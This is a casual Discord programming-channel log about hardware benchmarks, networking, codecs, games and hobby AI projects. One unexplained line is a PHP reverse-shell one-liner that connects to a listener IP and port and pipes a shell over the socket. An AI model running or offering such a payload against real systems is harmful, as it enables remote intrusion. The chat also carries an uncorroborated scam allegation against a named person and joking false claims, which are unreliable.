#programming
1 messages · Page 476 of 1
immediately uac
that IS the most you dream ever
daveplummer would
at the magnitude of taskmgr as well tbh
Wasn't this guy sued for scamming?
Dave Plummer ran a scam company that was sued by Washington State in 2006, "SoftwareOnline.com, Inc. ". He actually left Microsoft specifically to run this company. Court documents can be seen here:
<blocked link here>
You can find David W. Plummer listed in the court complaint.
The short of it is that it was an online software scam company that tricked people into downloading fake Anti-virus and security software using online ads, and then the software delivered additional adware and nagware onto users machines.
he's always been an ass afaik
therefore has been clowned on by the windows internals development community at large
omw home to fix the screeps attack feature so I can reduce sam to ash

good choice
my eaaaaars... have been graced by 
the signature cave sound is because of parametric stereo 
true stereo 
I have a feeling the bitrate is so cut that it basically turned mono 
and it sounds more cave like.. guess that wasn't all parametric stereo
whelp
it's frequencies missing 
Listening
the start sounds like drinking a bowl of soup LOL
it'd be a loooot better if it started the sbr frequencies sooner.. but I can't control that
it's cool, though, it makes its own music mhm
it won't play in Discord but.. why does Vorbis support this 
the notes are actually changing from the original song O.o
oh, could be only the harmony fit in parts
MY EARS

for me it just doesn't play at all, huh
this is part of the guitar stem for the NEVER song
lovely guitar mhm
this one is okay, I guess
obviously a 53 stem model is not going to be as good as a dedicated one 
also, what's the instrument 57 seconds in... the guitar stem caught it, too
yeah, it's... meh
for a 53 stem model, yeah, not bad 
but bs roformer sw that only does 6 stems is better
anyway
another thing is this is processing the instrumental.. it's worse when running it on the full song
they dropped both fp64 and int8
oof
e waste
And int4
3090 literally had int4
4090 killed it
Came back as fp4 in 5090 lmfao
oem epyc it seems i can't find the one that has 92 or 182 cores. actually it might be multiple nodes of 23 cores epyc at 2dpc memory running 4400MT/s, total of 16 epyc cpus
yeah, lines up to their table's 6.7TB/s
wait tf
hbm?
okay
its definitely oem
the only time i've heard epyc using hbm is on those amd APU accelerators
idk what the heck I did but somehow I created a 16+ minute audio file that has random noise throughout 
Discord won't play it, they hate Speex 
it was supposed to be dreamin' chuchu
only 12.7kb zipped 
yeah, something is broken
as for the noise being choppy, that's because it's using the ultra low bitrate 0.25kbps DTX mode
oh, it doesn't support flac input
-> ksp
-> $40
wait for discount
i got it 75% off
i started playing before artemis 2 so im an og now i guess
(like two weeks before)
(actually unrelated to artemis 2 though, i was just interested and it looked fun)
There's even a 24 core or sth machine with 6.3TB/s
All machines in the lineup go to 6.3TB/s
I mean 48 wait
2017 was almost 10 years ago?

its the custom amd board
most definitely
the fastest inference machine was a cpu all along
Actually how much does it cost
LMFAO 4$ SPOT PRICING WHAT AHHAHAHAHAHA
FOR THE 368 CORE ONE
no it doesn't

there's something else calling my name though
-# (hint: it's #1350968830230396938)
where do I buy this
it's a mobile app thing
This one sounds cool on mobile 
Sounds like an arcade machine near the end mhm
Is neuro SDK still the way to go if you want to try your hand at building a neurosama compatible game integration? I haven’t kept up much since the subathon
it is interface between vedal proprietary code and contributors, so surely yes
he doing rewrite btw, just in case
it's not done?
or do you mean sdk rewrite
idk
i saying just in case, i not follow
Of the sdk or backend systems?
which one
Toast
Toast who Toast
Alright yeah I see you get very little control over the ambient context it seems - you send it in but you can’t deterministically clear it intelligently
determinism in LLM tech? 
Yes? The context window buffer contents
he is not rewriting sdk
or at least the part that faces us
I mean how else are you gonna try
oh ok
if it was deprecated the repo would've said so

if only it worked like that loool
a lot of deprecated repos can only be recognised by looking at last commit date
surely, but backend logic may be changed -> may contain bugs
the part that concerns us isn't being rewritten and I believe that was what is being referred to
usually yeah
tbh there is like no point changing the API until he switches off LLM tech
probably, but even if so that'll never happen
surely vedal is smart enough to grasp new tech when he learns about it 
succesfully finished my terrible userscript from last night
its actually relatively performant, somehow
though, browser security seems to be forcing me to download every image twice which sucks 
just do it once
instead of twice
trust
Program a drone using a simple python-like language to fully automate various farming tasks that would otherwise be very grindy. Feel the satisfaction of simply pressing "execute" and watching your drone do all the hard work.
Unlike most programming games the game isn't divided into distinct levels that you have to complete but features a cont…
$7.99
7797
i have it already
i knew that was gonna happen
i kinda avoided it for the longest time because i thought it looked too simple
then someone gifted it to me
and i was right 
kekw
it was a fun puzzle to solve
but i feel like i've solved it as much as it needs to be now
https://store.steampowered.com/app/1444480/Turing_Complete/
early access since oct 2021
-= LEARN =-
Everything in a computer can be constructed from a basic component called a NAND gate. You will be challenged through a series of puzzles, to discover the path from NAND gates to arithmetic, memory and all the way to full CPU architectures. If you complete this game, you will have a deep understanding of how assembly, CPU instructi…
$19.99
4970
browser says no

anyways now ive made a random niche userscript what do I do with it
like, I went into the random side project thinking I'd give up
im not used to finishing projects
im tempted to rewrite this an an extension, it might avoid some of the annoying issues that a userscript has
Chat is it even possible
That the software I'm supposed to take over is somehow breaking ALL of the OWASP Top 10 guidelines
Genuinely i should ask to rewrite this garbage from scratch
Goodmorning

my screeps are ding good
im on controller level 3
better than shiro
yes
surely they'll accept your proposal 
shadow explained mor eof the security issues elsewhere
and damn
its even worse than you'd think
being a client off that company actively puts all your money at risk
tost
tost
tost
tost
tost
lost
toast

tst
im looking at what cloud is doing
no roads, but better upgraded screeps
they basically just dont have any builders yet
Toast
tt
what the hack is that you talking about
screeps
is it screeps time again?


if i were to play again i think this time i would just use typescript tbh
and start fresh now that i have a better idea of how things evolve over time
tsaot
aostt
about what?

Tasty open application (of) satiating Toast
Or ig another idea would be
Tasty Oven-fresh ancient-grain sourdough Toast..
toast - self referencing acronym
toasted over a steady temperature
That's clean
toast:
toast ooast aoast soast toast
How about collaboration:
Tasty Oven-fresh ancient-grain sourdough Toasted over a steady temperature
(also god damn it, everytime i hear collaboration i think of Dr.Hakim from It takes two..
"Coo-laboraaa-tion"
Oh! T could also mean Thinly-sliced
@fast pagoda
2 processors, 7 cores, 12 threads

https://browser.geekbench.com/v6/cpu/17735870
it not very high, not sure where this comes on the standard deviation
Benchmark results for a Gigabyte Technology Co., Ltd. B650M GAMING X AX with an AMD Ryzen 5 7600 processor.
above average 
"maximum frequency 5100 mhz" 
i ran this benchmark while watching a youtube video 
TOSP. TOSP Open Source Project
OSP are the key to recursive acronym 
what the helly
2 processors?
i dont know
the extra processor seems to have added a 7th core, but that core has no threads

i mean, the 7600 is made from an 8 core chip with 2 of them deactivated
so
its seeing the ghost of the old cores
Dave Plummer vs Chris Boden, who wins
https://browser.geekbench.com/v6/cpu/17736346
cpu no longer queer
Benchmark results for a Gigabyte Technology Co., Ltd. B650M GAMING X AX with an AMD Ryzen 5 7600 processor.
good results probably
multicore score could be higher
How much?
Geekbench 6 right?
This is expensive than my every objects in my house lmao

The prices makes my eye bleeding

Keep in mind GB6 doesn’t do multicore bench the same way Cinebench/whonot do
too bad i cant run cinebench
Geekbench 6 seems to not be using that much power
Which means you get silly numbers like this, which yeah
In tru big parallel workload 3990X will win hands down
Barely uses 70W even with pbo
naturally
ok i got only 8000 multi core on a 5950x 
something aint right here
single core benchmark is so funny
its 0% most of the time and sometimes it reaches 80% for a bit on one core
[nix-shell:~]$ cat /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
[nix-shell:~]$

This prices in my country, savalry jobs get paid about 20,000 and 30,000 THB per month
And you're gonna spent months just to buy this
multicore benchmark not even boosting to 5ghz 
really? haven't heard that before
on the specific model?
it depends on some luck for how cheap people sell it, and the specific performance of the cpu
it's 320 on amazon but yeah 
launch price was 800, now they're 350 brand new.
my point still stands, they're 150 used
actually fuck it, drop complete pc buying knowledge on me
I'm getting a new one in 1-2 months but I'm not a hardware nerd so I don't know shit
wrr
what should I NOT get used?
stuff like SSDs I would assume?
mainly storage ye
power?
refurbished storage is nice tbf
but yeah, probably don't want to buy a random ssd from lil timmy that he used for god knows what
for PSU you can go used, but make sure to get a good one
i have bought 2 of the exact same psu used because i know its a good one
RM750X my beloved
so is it just storage that I should avoid used?
don't GPUs wear out enough for it to matter?
Naah, even mining doesn't put that much strain usually
Especially since miner usually undervolt to save power
translation: be careful with 3090s and 3070s
a smart miner does
not everyone is smart
the main issue with used market is scams, not bad hardware
living somewhere with stupid expensive electricity so mining was never worth it helps i guess
so far everything i have bought has been fine, except for the mobo i got with my 5950x+64gb ram+mobo for 300 euro
but the ram and cpu working makes up for it
gskill RMA my beloved
so was it the motherboard in the end
Ye
theyre waiting for their buddy 7th heaven
Im geussing it got knocked of when i or the previous owner inserted ram
idk if i should blame the user or designer
But my first ram was dead almost as soon as i had it, so im choosing to blame the previous guy
having a cap between ram slots seems like a dumb idea if there's literally any other option (i feel like there might not be one)
Im pretty sure most mobo have caps there
wouldn't surprise me
Anyways, i upgraded the mobo from an msi x570 tomahawk wifi, to a gigabyte x570 aorus ultra
So i have better everything now
Nah, the ultra
Master is similair, but has some different pcie config making it worse for me. But it has better OC stuff
ah
Lmaooooooooooooooo
i have the smartest ryzen 5 7600 in the world
very proud of it
but
most empathetic
it wont move out
very human
its about time it got a job
its job is encouraging the other 6
support your mother you unfilial cpu
why is my cpu ass?
0 cores

i dont have x3d
🥀

you can still disable a ccd on 2 ccd chip
does zen3 have multiple ccds
iirc my cpu has 2 chiplets
amd confidential
good to know the general public are all amd employees
i dont seem to be getting paid though?
you are late as fuck to work konii
"my ratata is in the top 1% of all ratata"
ranked competitive goldeen

thank you last person who worked on this for enlightening me with networking I could have never even imagined
2x cables = 2x internet
my team of 6 goldeen painted orange are going to absolutely destroy the magikarp competition
it's got network b00st on that swatch
everyone knows blue cables are slow though
wrong shade of gold = it's presidente time
My blue cable is meant for 10Gbps
blue cables are sloowww
it's true, blue is actually a goo
if the cable isnt a flexible cable with woven exterior and gold plated connector then it is only half the speed
so it cancels out
I have orange cat7, for fast 10gig.
But my modem does 100mbps max 
bro what
cat8 is cheaper than cat6 here
my cat is connected to the router with an ethernet8 cable
imagine how slow it would be with a cat5 cable smh

how many megabits per second does your cat uh
i just got the first cat8 to run it alongside a 2nd cat6 to plug in the server twice
download
1 can of megamince a day
why arent you using a 10km wind of fibreoptic
that you cut and crimp when you need a new cable
lmao my dad has a fucking spool of cat6e that he cant get rid of
you can pass it down to your kids
as like an heirloom
when we rewired the old house like 15 years ago
red cables are faster than green cables and blue cables
white cables are the slowest cables
yellow cables are faster than green cables but not as fast as red cables
pink cables are as fast as green cables
black cables are as fast as blue cables
orange cables!!
very fast
not as fast as red
purple cables
im lacking data for purple cables
someone please substitute
we should make all cables transparent to teach younger generations not to fear touching live wires

gb6 is shit at multicore above 12c
mining gpu is better tbh in general. lots of miners would know to undervolt to maximize profit and they ran constantly so no thermal shock
is it cat8 though?
it is
cat8 are dirt cheap
but good luck finding compatible port for 10GbE and above lmao

🥀
im very tempted to meme my way into 40gbe
it calls
Need 5 lanes

Oh wait
Me stupid the chart has GB/s rather than Gbps in specifically one spot
So that means actually x1 could do 10Gbps
iirc these cards have a few shenanegans you have to do to make them work nicely

they do
in fact that's how most onboard 10GbE is wired
Ye geekbench 6 kinda sucks for me, its completely unable to make my cpy draw even the stock 105W tdp. And i have pbo set to mobo limits
sam try bogosort

The multicore shit makes my cores only go to 70% at most
geekbench is ass yeah
its why some apple bros go "our M5 beats your 9995wx"
but for me specifically it sucks even more than it should
Benchmark results for a Gigabyte Technology Co., Ltd. X570 AORUS ULTRA with an AMD Ryzen 9 5950X processor.
True
BUT
Apple silicon is goated
i did some looking, it looks like some cards are ethernet only and some are flashed to vpi but can do ethernet
so you just have to reflash those to ethernet to make them work
ye different cpu🦆 
200 Gbps
@stark needle your competitor
same
fucking beautiful
ye but my 16 cores are getting lower score than your 6 core cpu
sam what would you even do with 40gbe
compared tot he other 5950x's ont he website im doing terribely
I have like, two ideas for what I'd do and they're both terrible
fast internet. and network to 2nd pc
nope

i only want 10gig cuz fiber will be 10gig, and i need my games to update faster
Got that new (Open Box) PSU I ordered
🔋
Seller decided to put Vedal tape all over the box 

tutel
holy hell
idr if steam even lets you do much more than like 3gbit
as long as its faster than my current 100mbps
with a threadripper maybe 
local network and internet are sorta separate in my case
i like the "in my case"
Very networked
then all of sudden the triangular 40GbE
what does "public" and "private" mean here

write a steam client that just copies to memory, then once downloaded actually unzips
maximize network numbers
public means you can come and take it
the public hosts have funnel access or what
im vagueposting here because we haven't actually finalize stuff and do it yet
"Phi server"?
Not sure what that means. All I'm coming up with is, Xeon Phi cards, but there's no versions after 2017, so that would be ANCIENT tech.
What IS a "Phi server"?

does geekbench jsut suck extra hard on my pc for no reason?
nix-shell -p stress-ng --run "stress-ng --cpu 32 --cpu-method matrixprod --metrics-brief --timeout 60" manages to get 130W while geekbench just does 70
https://fxtwitter.com/OpenAI/status/2046589828918317155 strim in 4h15m 
Nah, I have 2+ gbit and Steam never saturates it. miHoYo game updates can.
that is indeed a screenshot
damn even their twitter is hallucinating
toast and toast are typing
If it is not a screenshot, then what is it 
Toast, Toast and Toast are typing
oh also quackToast, just something to keep in mind
you definitely don't want to run Tailscale over those 40 GbE connections, and ideally not even over the 2.5 GbE connections, though that's still reasonable
same board as afunyun no?
might be time for a cpu upgrade 
tailscale uses the 1GbE
if you look into the image there's 1GbE switch connecting everything
ye, I saw
though its meant for internet but doubles as interconnects
just wanted to make sure that you weren't hoping that you could route 40 GbE via Tailscale
because it will not do that
From an R9 9950X? 💀
what you can do with it though
is instruct the machines to transfer via 40GbE
ye
though that's basically outside tailscale
Very interesting
I have a 7955WX at work and it's sad because it's just a 7950X with more PCIe lanes. So my home desktop is faster. 
What kind of management would need over 10Gbe? 
for 128 5.0 ig
Ahh
i don't see why not
private relay

my cpu is good enough 
challenge accepted 
id be shocked if that was the bottleneck
it's not that outlandish tbf, theres ways to do it probably
40gb/s aes lfg!
it was when I did Tailscale over 25 GbE

the holy trinity 9950x3d es, 3990x, 9655
what cpu
7950x and some shitty Epyc
Don't use most of those but I remember now it has 8 channel RAM, fully populated. I wonder if that bandwidth actually does anything for compile times.
okay fuck maybe my 9950x3d cant
bruh they used the low tier tr for compiling and not the... lanes?
According to google
The fastest AES speeds are achieved using AES-NI hardware acceleration (Advanced Encryption Standard Instruction Set) on modern CPUs, often exceeding 5 GB/s (gigabytes per second) or 40 Gbps (gigabits per second) using modes like CTR or GCM
it may have been some AES extension thing too, there's ways to optimize it probably
I just didn't bother because VPN over a single ethernet link is dumb

waste of CPU power
fair
Yooooo, I didn't know Phi had SMT4
The highest model I'm seeing for that board is 72/288
That's fucken crazy
nee, don't trust your wires
we're at the point where satisfactory is a better benchmark for my cpu than geekbecnh. satisfactory actually uses more power than geekbench is using
unplugging everything
Try FEM in freecad 
72 Intel Celery cores
Probably worse cores actually
Or fluidsim in whatsthatopensourcefluidsimsoftwarename
shit cores

like actually sub 1.5ghz shitcores
Hear me out, become local ISP
wdym
I am on a uni campus, we have our own isp
the 1gbe works 
Yes, exactly. You sold those uni uplink to the outside world
is 40 GbE even significantly cheaper than 100 GbE? 
fuck
cloud seems to have died in screeps and moved down a room. now they're also my neighbour
well
at that point why not go 400gbe
it actually is somehow, at least the NICs
at that point why not go 800gbe
multi terabit internal network
can't be that expensive 
I thought they'd both be expensive because QSFP but I guess not
need 2 full x16 5.0 lanes
40GbE are like $30 here
this is cursed
Many datcen has decommissioned the old equipment it seems
i feel like that'd be the smallest problem
ye, but I thought DCs just went straight to 100 GbE too
Nice
What could possibly saturate 800gbe
similar to the situation with 2.5 GbE, though that may have changed by now
10 GbE existed before 2.5 GbE, so 10 GbE was cheaper for quite a while
my lil 5900X can do 53GB/s of aes-256-gcm 
Funnily enough, I think 2.5Gbe are developed after 10 to 100 jump
yee
even doing napkin math I can't seem to saturate 1gbe with ndi

it'd be like 10 simultaneous uncompressed streams
So you need 100GbE, surely 
just looked at the guy that is topleft of shiro.

like maybe if every single camera fed into NDI and you switched from the NDI side, but?
headroom is nice
gpudirect rdma can iirc (with enough gpus and nics)
Why do some low level project have weird code bro
several uncompressed 4k 240hz hdr streams

What is even going on
C
imagine not using neurosamakaraoke speedtest
And I saw a lot of hex and bitwise operations used like everywhere lmao
yeah cause they're faster
at this point what doesn't that website have
Is hex really that easy to convert into binary
can they add facebook marketplace to it
Oh is it
i wroote it
hex is a nicer way to write binary
Yeah agree
who wants to look at 64 bits
Is like binary but readable
well idk about readable, just less characters to type 
To coffee or not to coffee
Cloudflare bad
I asked ai, it gives me this
0=0000 1=0001 2=0010 3=0011
4=0100 5=0101 6=0110 7=0111
8=1000 9=1001 A=1010 B=1011
C=1100 D=1101 E=1110 F=1111
0x2F5
2=0010
F=1111
5=0101
Result: 001011110101
too centralized
Exactly lol
I do hate that they are one entity that are able to provide that good of a service
cloudflare is technically the opposite of centralized
like it's one organization but the actual services arent
although they can kill themselves still
yeh in that sense they are
Google, AWS, Azure
like half the internet goes through Cloudflare 
it's i think more than that
Wait, it isn't akamai?
it's not one centralised server at least
but about 80% of all reverse proxies
still not great
right that's my point
theyre technically all over the place
but
it is possible for the service to take itself out
and then that sucks
but even then they can mitigate a lot
on occasion you get nightmares tho
not physically located close together (would be insanely stupid) but managed together
the edge
at least you won't go down alone so you can blame cloudflare together 
of the fattest buttcheek of the borgouise of the cloud
adding more third-party points of failure until only a tiny minority of incidents is self-inflicted
hex is indeed super easy, it's just the base of binary to another power
I'm kinda cooked bro

I've scripting for 3 years but never knows how to do basic arithmetic, I just open google
lmao actually a vibe coder smh
well actually the term before that is script kiddie
I'm def a both vibe coder and scripter, programmer
damn I'm old 
hell yea
And I don't understand projectile math library but I managed to added multi-threading, parallelism, API, vm to it
The biggest cost of "enterprise" software. The scapegoat 
Chat is it possible that i somehow had to explain to the long standing engineer what a sql transaction is 
yes
btw, i had to explain what threads are to 35 years engineer
that work with c++
Intreviewer: what is a vexing parse in C++
What
(he never did anything outside qt widgets, only ui and only main thread)
Do people not have this in uni😭 😭 😭
so he basically not even knew what memory bariers are
Bro i dont even have high school and know all this😭 😭 😭 😭
Intreviewer: Class static lifetime vs static members/field inside class lifetime
Intreviewer gonna gatekeep you
some ppl just stop learning when they graduate

They gonna humble you with these question, nobody can answer
shadow you're vastly overestimating the competence of your average programmer
idk what this parser is
i never made parsers bigger than find some set of pattern
base
singleton vs monostate
I get intreviewed and humbled, so I wanna share and yall don't be like me lol
ah, i just know how it works, what exactly this parser do?
Try avoiding questions nobody can answer
In certain situations, the C++ grammar cannot distinguish between initializing an object parameter, declaring an object or declaring a function while specifying the function's return type.[1] In these situations, the compiler is required to interpret the statement as the latter, even though this is rarely the programmer's intention.
Le Wikipedia
@stark needle was that engineer doing anything in the back end? sounds like a webdev to me
i hate these useless trivia interview questions
Yes they were a backend engineer😭
THE FUCK
static duration is base
yeah not making this up
Backend/data
nah I want their fucking jobs jfc
3 years of scripting - How to center a div
Our entire infra could be replaced by 1 single directed acyclic graph
@claude Center a div for me
I do @gemini @PROMPT.md
@AGENTS.md
I'm pretty sure everyone does it
I am not a fan of webdev
cat CLAUDE.md be like
The worst thing this "engineer" uses claude sonnet and she still sucks😭 😭 😭
When ai can't do something for you, so u gonna release your true power
Ai: Is he reading the documentation?!
Ai can't even reach true powers of human engineers reading documentation
elite ball knowledge
I code in .md
True so smart
Who even coding in .ts or .js
markdown too unstructured, you're supposed to use json
New documentation workflow Method
I code in html
And css
Because ai can read html
With css
So it's gonna read html
Code in json based abstract syntax tree
With css better
In case, ai can't read my documentation, I'll adjust my code in html and css, so ai can read it better
it called comments
anyway
use vue

Chat who remember @sage crag
era

what even is a vue?
React but different
100 GbE 
It embodies web component spirit in a sense
sane elements-as-module system for web
JSX is insane tho
JSX has expanded over time I think, ye
especially with the really new stuff like server components
cursed
idk I'm partial to Svelte personally so I don't care that much about JSX 
-# have barely used anything else because I'm relatively new to (frontend) webdev
bored1
Yeah, svelte and vue are the sane one. But I don't like svelte because of the early syntax
Good, now make 74HC595

Yay I have at least one more week to Optimize™
HAHA

i hate php
tbh idk why, it seems to have fixed itself tho
are you trying to get into fpgas? 
or just have nothing better to do
iggly and quack are doing some circuit stuff rn and occasionally send it here
$sock=fsockopen("10.10.16.65",9001);passthru("sh <&3 >&3 2>&3");
something something transistors

which is short for toast

hi t oast
hi t oast
but hi
t oast
no please

hit toast
hi chayleaf

hi sam
t|| ||
t||
||
no tenub
no way...
toast
tsaoT
cheers
so consciousness is ability to think what other think?
-# idk is it stupid way to define or not
SAO 
osatt
Maybe doing the dumbest thing ever and amortizing cost across several frames is Good Enough™
Woah woah language
Just install NixOS
framework

Thanks to Meter for sponsoring this video! Go to http://meter.com/ltt to book a demo now!
Framework is back in town this time with FOUR brand new products that are sure to tickle your fancy. Framework 13 Pro, Framework 16 refresh, OCulink Expansion Bay, AND a brand new keyboard that will definitely raise some eyebrows? Let us know if any of the...
do you also have a investment disclosure you want to tell us about toast?
i just dont like lenovo laptops
even the expensive ones attach their metal case and metal hinges with a piece of plastic that breaks
ask me how i know 
i like framework cuz it doesn't ask 150 euro to replace one piece of plastic
wow he looks so schizo now, he really fell off over the years
I've been working on my own AI like neuro for the past 9 months. Her name is kai. It's all neuro inspired. It's been so hard
It's worth it though
any interesting tech or just LLM?
She has discord capabilities now. I'm working on sight and other stuff

For the past like week I've been working on her discord capabilities
huh, at the end of the video he starts yapping about an ltt product for some reason against the framework guy. a bit poorly timed 
lpcamm2 prices 
I haven't been able to figure out how to get her to fully work though. It's really wonky. I have to convert speech from my local laptop. Send it to the server she is on. Then send it over to discord
Yeah
but why not jsut do it directly from the laptop?
ai
Don't have the hardware
you already have the laptop you say
I have a better PC back at home. I'm just away from home right now
It's a basic laptop.
larg lamguage modle
most laptops are known to support web browsers
Correct.
no wrong
24gb vram, 64gb ram, 16 core 5ghz cpu?
I haven't been able to figure out how to get my voice to convert to speak directly through discord. Every single python modules just breaks for discord
64gb ddr5 ram. Amd ryzen 7 pro 7840HS with amd rlradeon 780m dedicated graphics
Idk i don't wanna trade in my tuxedo. Currently very happy with it. But i agree modern Lenovo's are just not good.
8 cores. 3.80ghz
i use llama3.1:8b
do you have another model suggestion?
just simulate a real brain
i guess. i could try that.
qwen 3.5 9b 
would that work on my laptop?
probably
if not then use the 4b version
i can try
ye
you could also use the new gemma model that is specifically meant for smaller vram and lower end devices like phones in gemma 4 e2b or something like that
the modularity of framework is pretty cool but i probably will barely use it. its jsut that i despise lenovo and hp making their laptops from cardboard
does anyone have any suggestions on how to fix the discord voice chat issue? ive tried discord.py pycord and discord-recv but none work
even their fully cnc machined models have some plastic weakpoint at the hinges somewhere that fuck up the entire computer after a year
I assume Discord gives you an encoded audio stream that you need to decode into raw PCM to pass into a STT
i kind of want one but the memory prices are killing me so that's not happening
same
Also Python is just jank
do you have any suggestions how to fix the discord voice chat issue? ive tried discord.py pycord and discord-recv but none work
Modularity is cool yea
But in reality i probably would not really utilize it either
I wanted a full metal build with lots of memory high refresh rate and tons of power with native Linux support. That's why I went with a tuxedo.
Kotlin
with sodimm at least there are other ways to source them/reuse them, i don't think i've ever seen lpcamm2 modules anywhere 
whats kotlin?
L ragebait
interesting. so how did vedal get neuro to work on discord? if its all coded in python?
Pretty sure Neuro's DC integration is in C#
ah got it.
Neuro has Java GC
iirc parts of neuro are C# cuz unity, and parts are python cuz llm
yeah. makes sense
Tho the rewrite probably decouples a lot from Unity
how does unity have anything to do with it? isnt unity a game engine?
But Ved was stupid and coded Neuro's rendering in Unity
lmao. so just avoid unity?
And basically all the stream front end stuff
It's known for bugs and issues and memory leaks
so still code in c# but not with unity?
C# is just Microslop Java and Kotlin is Java but better
b-but optimal language for ML is c++
i remember it
















forgot Oinv


One that doesn't suck like Python